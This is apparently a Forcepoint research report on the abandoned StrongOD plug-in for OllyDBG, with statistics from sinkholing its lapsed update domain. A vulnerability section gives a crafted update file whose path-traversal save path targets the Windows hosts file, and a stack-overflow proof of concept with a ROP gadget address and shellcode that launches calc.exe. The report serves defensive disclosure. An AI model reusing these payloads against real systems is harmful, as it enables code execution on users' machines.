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EXECUTIVE SUMMARY
FREEMAN is a uniquely positioned security research project that identifies unknown risks
and threats that accompany a specific piece of abandonware commonly used by the security
research community.
Abandonware, specifically abandoned security (soft)ware, presents particular and previously
unknown perils to the security industry. Although usually a video gaming term, “abandonware”
accurately reflects the use of software that has come to its end-of-life but, for a variety of reasons, is
still in use. In the case of this research, in the order of 75,000 users in the IT security field continue
to use an abandoned and somewhat obscure plug-in for an abandoned software package, thereby
unknowingly and unnecessarily putting themselves at risk.
Like most other users of digital technology, many of us in the IT security space have become
accustomed to and rely upon various web-connected devices that have become a vital part of our
personal and professional lives. We not only expect to have our connected devices available
whenever and wherever we need them, but to have the patching and updating of software and other
mechanisms be done automatically as well. Vendors such as Apple, Adobe, Microsoft and Google
do have automated updates in their products, as do many other vendors. But predictably, reliance
upon this level of connectivity and the convenience of automated updates have resulted in a
complacency or false sense of security that can easily lead one to fail to appreciate the risks that
come with using "end-of-life'd” software.
Armed with the facts uncovered by this research, it is easy to imagine a scenario where ‘security
researchers’, be they operating in China, Russia, Belarus, Iran, Ukraine, Iraq and North Korea, or
even in South Korea, USA, Germany, UK, France, Canada or Finland, are compromised via the
vulnerabilities that come with using such abandonware. Furthermore, regardless of whether such
work for anti-virus companies, are malware authors themselves, or are developers of offensive
capabilities, all of them are likely facing the same threats posed by their abandonware use and yet
are totally unaware of it.
For this study, Forcepoint actively chose to ‘sinkhole’ a lapsed domain. Consequently, the threats
identified and discussed in this report will only be theoretical. Furthermore, as a result of this
‘sinkholing’, Special Investigations were able to analyse the available data and highlight a number of
critical security issues and vulnerabilities. The findings presented in this report also highlight a
number of general, but equally important issues.
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TECHNICAL ANALYSIS
INITIAL DISCOVERY
As part of the daily routine within the Special Investigations team, a variety of tools and techniques
are used. Some tools are proprietary and commercial, while others are open source.
When reverse engineering malware, it is usual to perform the activities in a virtualised environment.
This provides separation from the rest of the lab environment and also offers the ability to quickly
save and restore the system state. It is also common to run network capture tools such as
Wireshark in order to capture and analyse the network traffic.
During such an activity, it was noticed that a request to http://www.cracklife.com/ was being made.
Initial investigation identified that this request was as a result of the program OllyDBG being started.

OllyDBG. According to the author1: “OllyDBG is a 32-bit assembler level analysing debugger for
Microsoft® Windows®. Emphasis on binary code analysis makes it particularly useful in cases
where source is unavailable. OllyDbg is a shareware but you can download it for free.”
OllyDBG was originally written by Oleh Yuschuk in 2000. The source code for OllyDBG was bought
by Immunity Inc. sometime between 2004 and 2008 for inclusion in their Immunity Debugger2.
Since this time, there has been some development of a 64-bit variant of OllyDBG as well as a
version 2 of the 32-bit version. No further updates or bug fixes have been released for version 1 of
OllyDBG since 23rd May 2004.
However, OllyDBG is still one of the “go to” tools for reverse engineering.
1
2

http://ollydbg.de/
https://www.immunityinc.com/products/debugger/
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Plug-in Architecture. One of the powerful features of OllyDBG that Oleh implemented was the
ability to develop plug-ins. The plug-in architecture allows third party developers to design and build
functionality to extend OllyDBG. In light of development of OllyDBG stopping as of May 2004, a
significant number of features have been added to OllyDBG via a sizable library of plug-ins.
StrongOD. StrongOD is an anti-evasion plug-in for OllyDBG. It is used to defeat counter-reverseengineering techniques usually found in malware as well as software that has DRM (Digital Rights
Management) and copy-protection techniques. The plug-in appears to have been developed by a
group of Chinese nationals around November 2007.
The plug-in is widely available from a variety of sites including tuts4you3:

STRONGOD – AN ANTI-EVASION PLUG-IN
The DLL plug-in for OllyDBG has been developed
since V0.11 was released on 2007-11-14.
According to the release notes, the last released
version was v0.4.8.872 on 2012-10-29. However,
the DLL within the RAR file and the RAR file itself
downloadable from the tuts4you.com site has a later
compile date/time and file version number
(V0.4.8.892).

3

https://tuts4you.com/request.php?2028
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It can only be assumed that the developer(s) made some later modifications to the plug-in without
documenting the changes:

$ exiftool StrongOD.dll
ExifTool Version Number
File Name
Directory
File Size
File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions
File Type
File Type Extension
MIME Type
Machine Type
Time Stamp
PE Type
Linker Version
Code Size
Initialized Data Size
Uninitialized Data Size
Entry Point
OS Version
Image Version
Subsystem Version
Subsystem
File Version Number
Product Version Number
File Flags Mask
File Flags
File OS
Object File Type
File Subtype
Language Code
Character Set
Comments
Company Name
File Description
File Version
Internal Name
Legal Copyright
Original File Name
Product Name
Product Version

:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:

10.02
StrongOD.dll
.
504 kB
2015:12:22 21:37:01+00:00
2015:12:22 21:44:50+00:00
2015:12:22 21:37:01+00:00
rw-r--r-Win32 DLL
dll
application/octet-stream
Intel 386 or later, and compatibles
2012:11:08 06:56:46+00:00
PE32
9.0
160256
203776
0
0xa620
5.0
0.0
5.0
Windows GUI
0.4.8.892
0.4.8.892
0x0017
(none)
Win32
Dynamic link library
0
Chinese (Simplified)
Unicode
Make your OllyDBG Strong!
CHiNA UnPacK GrOUp
Make your OllyDBG Strong!
0.4.8.892
StrongOD
Copyright (C) 2007
StrongOD.dll
StrongOD
0.4.8.892
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The StrongOD DLL has a number of notable strings when dumped including:

Make your OllyDbg Strong!
Compiled on Nov 8 2012, 14:56:43
Special thanks :Nooby,fly,Fslove,shoooo, sinister,,okdodo,a__p,
脦垄脨娄脪禄碌,lifeengines,langouster,goldsun,foxabu
Coded by 潞拢路莽脭脗脫掳
Web : http://www.unpack.cn
EMail : StrongOD@Safengine.com
e:\MyProgram\TeamProject\BruceLee\trunk\StrongOD\release_nokey\StrongOD.pdb
http://www.cracklife.com/sod/update.txt

The above URL is the request made upon start-up of OllyDBG. It is used to check for updates to
the StrongOD plug-in.
Automatic Updates. With the advent of Windows 95, Microsoft provided a means by which
updates for their software could be downloaded from a web site. Shortly after the introduction of
Windows 98 it was possible for the operating system to check for updates in the background and
then alert the user to any critical updates that were available. Eighteen years later, this technique is
widely utilised and most operating systems have a similar mechanism including Linux and Apple
OSX distributions as well as mobile devices such as Apple and Android tablets and phones.
Services such as the Microsoft Store, Apple Store and Android Play, offer users the ability to receive
new software packages and keep them updated. Likewise, products such as Adobe Acrobat and
Flash Player, Google Chrome and Firefox have their own internal update mechanisms. Arguably
this has led current users of technology to become familiar and comfortable with auto-updates to a
level that may introduce the potential for complacency.
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“BAD GUYS”

“GOOD GUYS”

StrongOD User Base. It is difficult to create a complete demographic of those who would use
StrongOD, however the following were adopted as reference users during this research:
Malware Reverse
Engineers

Reversing malware in order to protect against
malware

Defensive Researchers

Analysing software to identify vulnerabilities
in order to recommend protection

Students

Analysing software in order to gain expertise
and understanding

Academic Researchers

Analysing software in order to create greater
understanding and new knowledge

Malware Authors

Reversing other authors’ malware in order to
produce more effective malware

DRM Crackers

Cracking copy-protection mechanisms in
commercial software and libraries

Offensive Researchers

Analysing software to identify vulnerabilities
in order to produce exploits
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VULNERABILITY ANALYSIS
StrongOD has its flaws. For the purposes of this research, it was decided to focus on the update
mechanism as this was seen to potentially provide a command and control channel. Two significant
vulnerabilities were identified. Both vulnerabilities require access to the network connection for an
update request i.e. either a Man-in-the-Middle (MitM) attack or access to the update server itself
(cracklife.com). Both of the vulnerabilities provide an attacker the ability to execute arbitrary code
on the host running OllyDBG. In most cases, OllyDBG is run from a user account that has
administrative privileges.
Relative File Pathname. Within the update mechanism an update file is requested from
cracklife.com. This file is a simple text file that uses a simple Initialisation File (INI File) syntax:
[StrongOD]
md5 = 2699E9CED6E657B174B45AFB6A127B4C
version = 0.4.8.892
savepath = .\StrongOD.dll
url = StrongOD.dll
valid = 1
The example above illustrates that the savepath, which is the location used to write the new
updated file to, allows for a relative, rather than absolute file path. This allows an attacker to craft
an update response that can place a file in an arbitrary location on the local file system:
[StrongOD]
md5 = db5dd207f5e7ac83f6399f28c8f42337 version = 0.4.8.893
savepath = ..\..\..\..\..\..\..\..\..\..\WINDOWS\System32\drivers\etc\hosts
url = StrongOD.dll
valid = 1

However, this particular attack vector has a significant constraint. Firstly, it requires the user to
manually accept the update via a dialog window which prompts when a new update is reported. A
user should normally be suspicious that a plug-in which has had no updates since 2012 (see
above), suddenly prompts for an update. Secondly, most malware reverse engineers perform their
work within a virtual machine (VM). This VM is started and then restored to the last clean snapshot
each time it is used. In cases such as this, the opportunity for persistence is lost and the ability to
execute arbitrary code is reduced.
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Vulnerable Buffers. The stack-based buffers used by StrongOD's update procedure can easily be
overflowed. This in turn allows the stack contents to be overwritten. It is possible to successfully
overwrite a return address and use a ‘ROP gadget’4 to jump into shellcode. This is illustrated by the
update.txt below:

KEY
Shellcode
Overflow padding
ROP gadget address
The exploit works by overflowing data after the "[StrongOD]" tag which will result in stack contents
being overwritten with the given values.
1. The return address of a vulnerable routine can be successfully overwritten with the address
of the ROP gadget.
2. The routine in StrongOD 0.4.8.892 that is being exploited begins at address
strongod.dll+0x13430.
3. The routine overflows a stack buffer with the data provided after "[StrongOD]".
4. At this point the EDX register points to the start of the data received from the server.
The simplest option for exploitation is to place shellcode into the beginning of the data and find a
means by which to jump to it.
Since there is no ASLR5 or DEP6 to defeat, all that is needed is a simple ROP gadget to jump to
EDX. Two bytes within OllyDBG's resource section fulfil this purpose, located at 0x0053a471
0053A471
0053A472

52 PUSH EDX
C3 RETN

; Our shellcode entry point is already in EDX
; Jump to EDX

Finally, it is then possible to jump to the shellcode. One small challenge is to ensure not to use any 0x00
bytes in the shellcode, otherwise the StrongOD string parsing routine being exploited would stop
processing and not overflow the stack buffer.

4

https://en.wikipedia.org/wiki/Return-oriented_programming
https://www.microsoft.com/security/sir/strategy/default.aspx#!section_3_3
6 https://support.microsoft.com/en-gb/kb/875352
5
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Final shell code:

0580EA6C
0580EA6E
0580EA70
0580EA74
0580EA76
0580EA78
0580EA7A
0580EA7B
0580EA7C
0580EA7D
0580EA7E
0580EA7F
0580EA84
0580EA8A
0580EA8C
0580EA8F
0580EA94
0580EA9A
0580EA9D
0580EAA4

8BF4
33D2
66:BA 3403
03F2
31C0
6A 01
50
50
56
50
50
BA 011E5511
81EA 11111111
8BEC
83C5 18
BE 40487F12
81EE 78563412
8975 04
C745 1C FFFFFFFF
^ FFE2

MOV ESI,ESP
XOR EDX,EDX
MOV DX,0x334
ADD ESI,EDX
XOR EAX,EAX
PUSH 0x1
PUSH EAX
PUSH EAX
PUSH ESI
PUSH EAX
PUSH EAX
MOV EDX,0x11551E01
SUB EDX,0x11111111
MOV EBP,ESP
ADD EBP,0x18
MOV ESI,0x127F4840
SUB ESI,0x12345678
MOV DWORD PTR SS:[EBP+0x4],ESI
MOV DWORD PTR SS:[EBP+0x1C],-0x1
JMP EDX

; Save address of ESP
; Offset of "calc.exe" in payload
; ESI now points to "calc.exe"
;
;
;
;
;
;
;
;

SW_SHOWNORMAL
0
0
"calc.exe"
0
0 ("open")
Address of ShellExecuteA call + 0x11111111
Results in EDX = 0x00440CF0

;
;
;
;
;
;

Address of TerminateProcess jmp in Ollydbg + 0x12345678
Results in ESI = 0x004AF1C8
Move the address into where it will be needed
in the stack after ShellExecuteA returns
Parameter for TerminateProcess (-1 is current process)
Jump to ShellExecuteA call
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SINKHOLE ANALYSIS
Below is a very short example of the data collected from the web server running on ‘sinkholed’
cracklife.com:
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP
<<<IP

REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>
REDACTED>>>

-

-

[12/Apr/2016:04:42:14
[12/Apr/2016:04:42:17
[12/Apr/2016:04:42:28
[12/Apr/2016:04:43:44
[12/Apr/2016:04:43:46
[12/Apr/2016:04:44:19
[12/Apr/2016:04:45:11
[12/Apr/2016:04:45:16
[12/Apr/2016:04:46:07
[12/Apr/2016:04:46:07
[12/Apr/2016:04:46:11

+0000]
+0000]
+0000]
+0000]
+0000]
+0000]
+0000]
+0000]
+0000]
+0000]
+0000]

"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET
"GET

/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt
/sod/update.txt

HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"
HTTP/1.1"

404
404
404
404
404
404
404
404
404
404
404

168
168
168
168
168
168
168
168
168
168
168

"-"
"-"
"-"
"-"
"-"
"-"
"-"
"-"
"-"
"-"
"-"

"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“
"AutoUpdateAgent“

Initially, this appears to be a limited set of information. The useable data-points being date/time of
the request and the IP address. However, volumes, frequencies and cyclic and anomalous events
are still valuable for analysis. Furthermore, the known data on the IP addresses can be analysed in
light of the association with StrongOD and OllyDBG.
Volumetrics. Below is a summary of the data collected over the duration of this research.
Duration of ‘Sinkhole’ Research

~9 months

Number of unique IP addresses

~75,000

Number of “call home” messages

~538,000

Mean number of requests

~96/hour, ~2310/day

Max requests/hour

260 at 08:00 on 24/Mar/2016

Max requests/day

3249 on 14/Jan/2016

Min request/day

1265 on 10/Feb/2016

OBSERVATION: These figures were surprising. It was not expected to see in excess of
75,000 unique IP addresses and over half a million requests especially for an abandoned
plug-in to an abandoned debugging tool, that was designed for debugging (32-bit) software
that was end-of-life’d over 6 years ago with the release of Windows 77.

7

http://news.bbc.co.uk/1/hi/technology/8081003.stm
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Autonomous System Numbers (ASNs). Querying the ownership of the IP addresses is a simple
and common act during malware investigation and incident response. Each IP address has one (or
more) associated Autonomous System Numbers (ASNs) that are a register of the ownership in
terms of control of a range of IP addresses. Taking the IP addresses from the Sinkhole logs
allowed for the identification of these ASNs. In many cases, there was little surprise as to the
owners of the addresses:


Forcepoint, Cyber Security Solution Providers, Anti-virus (AV) Vendors, Law-Enforcement
Agencies (LEAs), Printer Manufacturers, Network Providers, VPN Providers, ToR Exit Nodes
and Domestic Broadband Providers.

Indeed, academia was clearly present and this would be expected with the rising number of cyber
security related academic courses. Somewhat unusual was that in certain cases, these academic
establishments were not related to information technology or cyber security:
•

Campus network for University
of Warwick

•

Omsk State Technical University

•

Universidad de Zaragoza

•

Carnegie Mellon University

•

Pohang University of Science
and Technology

•

Universidad Nacional Autonoma
de Mexico

•

Danmarks Tekniske Universitet

•

Pukyong National University

•

Universidade Estadual Paulista

•

Hanyang University

•

Pusan National University

•

Universidade Federal De Minas
Gerais

•

International Islamic University
Of Malaysia

•

Queens University Belfast
•

•

Rajamangala University of
Technology Suvarnabhumi

Universita' degli Studi di Roma
Tor Vergata

•

Universitas Sumatera Utara

•

Universitat Ramon Llull

•

Universitatea TRANSILVANIA
Brasov

•

Isik Universitesi

•

jeonju university

•

Ruhr-Universitaet Bochum

•

Karabuk Universitesi

•

Sabzevar University of Medical
Sciences

•

Katholieke Universiteit Leuven

•

Kazan State Technological
University

•

Korea University

•

Kyung Hee University

•

Kyungsung University

•

Ludwig-Maximilians-Universitaet
Muenchen

•

Seoul National University
•

Universiti Malaysia Sarawak

•

Songdo Global University
Campus Co.

•

University of Athens

•

Soon Chun Hyang University

•

University of Cincinnati

•

SungKyunKwan University
(SKKU)

•

University of Crete

•

University of New South Wales

•

Technical University of Iasi
•

University of Pennsylvania

•

The Catholic University Of Korea
Songsim

•

University of the Philippines
Diliman

The George Washington
University

•

University of Tulsa

Tokyo Denki University

•

Yonsei University

•

National Sun Yat-sen University

•

National Technical University of
Ukraine

•

Oklahoma State University

•

•

However, the data was not without surprises. Other ‘owners’ included:


Engineering Companies, Energy Companies, Steel Manufacturers, Car Manufacturers,
Money Transfer Agencies, Medical Research Institutes, Farming Associations, Frozen Fish
Distributors and even ‘someone’ in Pyongyang.

OBSERVATION: The presence of organisations not associated with malware research, reverse
engineering or information technology is unusual. Potential reasons for this include ‘legitimate’
use by specific individuals, compromised web-proxies being used for anonymisation or
compromised hosts either themselves being used as proxies or being used directly to run an
environment that includes OllyDBG.
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IP Addresses by Country. Geo-IP analysis is often an object lesson in the care needed when
analysing and interpreting data. The geo-IP data sources are never 100% accurate but allow
insight and understanding.
With the caveat of accuracy accepted, a very surprising picture emerges when the IP addresses are
totalled by country of origin: 75% of all requests were from China. This was the very first and
immediate observation made when the sinkhole went live for cracklife.com. However, China does
account for over 20% of the world population. Treating the chart below with great caution, it was
decided that these figures should be normalised against the population of each country. If the initial
observation regarding China requests was surprising, the subsequent picture of request normalised
by population was even more so.
JP BR
IQ
IT
IR
AT
1% 1% TW 1%
TR
1%
1%
1% 1%
1%
IN
1%
DZ
84 OTHERS < 1%
1%
9%

DE
1%
KR
1%

ID
1%

RU
2%
US
2%

CN
75%
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Geo-Location Normalised by Population. The chart below illustrates the number of beacons8 per
million population9 and lists the top twenty countries. This is to allow for the difference in country
populations in order to identify countries or regions of interest.
What stands out here when compared against the previous figure, is that China’s presence has
fallen substantially and that Belarus moves into first place:

BEACONS/COUNTRY/MILLION POP
Serbia

63.82

Saudi Arabia

70.23

Norway

80.84

Czech Republic

84.92

Denmark

89.40

Austria

101.55

Algeria

104.42

Lithuania

112.33

Macedonia

114.50

Luxembourg

135.03

Taiwan

139.14

British Virgin Islands

149.46

Singapore

160.37

Latvia

209.90

Macau

231.13

China

255.45

Hong Kong

261.02

South Korea

270.98

Estonia

301.09

Belarus

455.70
0.00

8
9

50.00

100.00

150.00

200.00

250.00

300.00

350.00

400.00

450.00

500.00

The term ‘beacons’ refers to requests from StrongOD for update.txt.
http://stats.oecd.org/
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Regional Languages. Potential groupings occur in the previous graph. Macau, Hong Kong and
China can be viewed as one region. Likewise, the Baltic states can also be grouped together.
The first graph below illustrates the resultant distribution:

BEACONS/COUNTRY/MILLION POP
Venezuela

44.06

Ukraine

49.49

Turkey

51.98

Romania

61.80

Serbia

63.82

Saudi Arabia

70.23

Norway

80.84

Czech Republic

84.92

Denmark

89.40

Austria

101.55

Algeria

104.42

Macedonia

114.50

Luxembourg

135.03

Taiwan

139.14

British Virgin Islands

149.46

Singapore

160.37

CLUSTER #3 - Latvia, Lithuania, Estonia

182.00
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Language Distribution. Geography may not be the only connection. Taking the geo-location data
normalised by population and calculating the distribution by language10 produces the following
graph:
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* CHINESE – Grouping of all common Chinese languages.
10 https://www.cia.gov/library/publications/the-world-factbook/fields/2098.html
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The distribution now looks like the following figure:
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It is difficult to make any firm observations on this part of the analysis. The presence of Chinese is
reasonable because of the provenance of StrongOD. The Russian language being at 15% can be
rationalised by taking into account the cultural and political historical backgrounds of those countries
neighbouring Russia. The scale of the Russian language may raise further questions. Refining,
asking and answering these supplementary questions is left as an exercise to the reader.
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Day-of-Year. The graph below was produced by plotting the number of requests per day-of-year.
Initial country analysis did not highlight any points of interest other than those for China. This was
due to the low number of data points for all other countries. Separating China from the Rest of
World (RoW) produced the following graph.
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Hour-of-Day. The collected data illustrated the daily working practices of the Chinese users. The
figure below illustrates that the majority of users of StrongOD/OllyDBG work on a ‘9 to 5’ basis.
Firstly, this indicates that most users operate within a commercial organisation or similar and
secondly, that automation is not being used.
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GENERAL OBSERVATIONS
A Little Bit Safer. As theoretical as this research may sound, through the action of acquiring the
domain cracklife.com and ‘sinkholing’ it, Forcepoint has prevented a malicious threat actor from
compromising the members of the security research community across the globe.
Lapsed Domains. The risks of domain registrations lapsing have been known for some time,
however, they are difficult to manage. Forcepoint has valuable insight into the scale of this problem,
because of the secure web services provided to its customers. Forcepoint has the ability to identify
web traffic from client machines that make requests to domains which no longer resolve.
Who Protects the Protectors? Another reason for publishing this research is that those who are
most at risk are those who endeavour to protect us. Malware reverse engineers and security
researchers are knowledgeable and well informed around aspects of cyber security. This research
demonstrates that no-one is invulnerable and that everyone needs to be vigilant.
Reduction of Attack Surfaces. ‘If software is not used, then remove it’. As simple as this sounds,
it is still a clear message. It is highly likely that the StrongOD plug-in to OllyDBG is not used by
every one of the 75,000+ observed users. It is more likely that many of these are using standard
'fully-loaded' installations of OllyDBG including every plug-in, regardless of the need to use them.
Network Segregation. If any illustration is required for the need to segregate areas of a business
infrastructure, then here is one for the security research community (our/them)selves. With the data
observed, it is likely that many of the users are within corporate infrastructure which could be
compromised by the techniques described in this report. It would be hoped that all of these users
are segregated from the rest of the corporate infrastructure they are operating within. This is not
possible to confirm with the available data, but is felt to be unlikely in many cases.
Secure Update Channels. The use of digital signing of updates now widely used and should be
mandated if not already. Likewise, secure update channels such as TLS should be enforced when
downloading updates.
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TERMINOLOGY & WHY FREEMAN?
Abandonware11. A term commonly used to refer to legacy game software that has been
abandoned by the author but is still ‘loved’ by the user community.
Crack Life12. Commonly a reference to community coded “… mod made from total boredom. It
features a bunch of overused jokes and memes that only get more annoying every time you hear
them...” and was written for the game Half-Life13, which is a science-fiction, first-person shooter,
video game developed by Valve [thank you guys!]. In which the player assume the role of…
Dr Gordon FREEMAN14. The hero of Half-Life who the player must assume control of and fight
their way out of a secret research facility after a teleportation experiment goes “disastrously wrong”.

11

https://en.wikipedia.org/wiki/Abandonware
http://www.moddb.com/mods/crack-life
13 http://steamcommunity.com/app/70
14 https://en.wikipedia.org/wiki/Gordon_Freeman
12
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ABOUT US
Special Investigations is part of Forcepoint Security Intelligence, itself an integral part of Forcepoint
Security Labs. It exists to provide the security insights, technologies, and expertise to allow
customers to focus on their own core business rather than security. Special Investigations is made
up of talented malware reverse engineers and malware analysts. They are responsible for
delivering high quality output as part of their investigations into botnets, APTs, and other deep
reverse engineering topics.
Special Investigations work with national and international crime agencies, national CERTs and
trusted partners. The team works closely with other parts of Forcepoint Security Labs, as well as
other areas of the Forcepoint business. They strive to enable and deliver insight and a deep
understanding of emerging cyber threats. They are able to communicate this to a broad set of
stakeholders including customers, partners and the general public with the objective of offering
tangible decision advantage.
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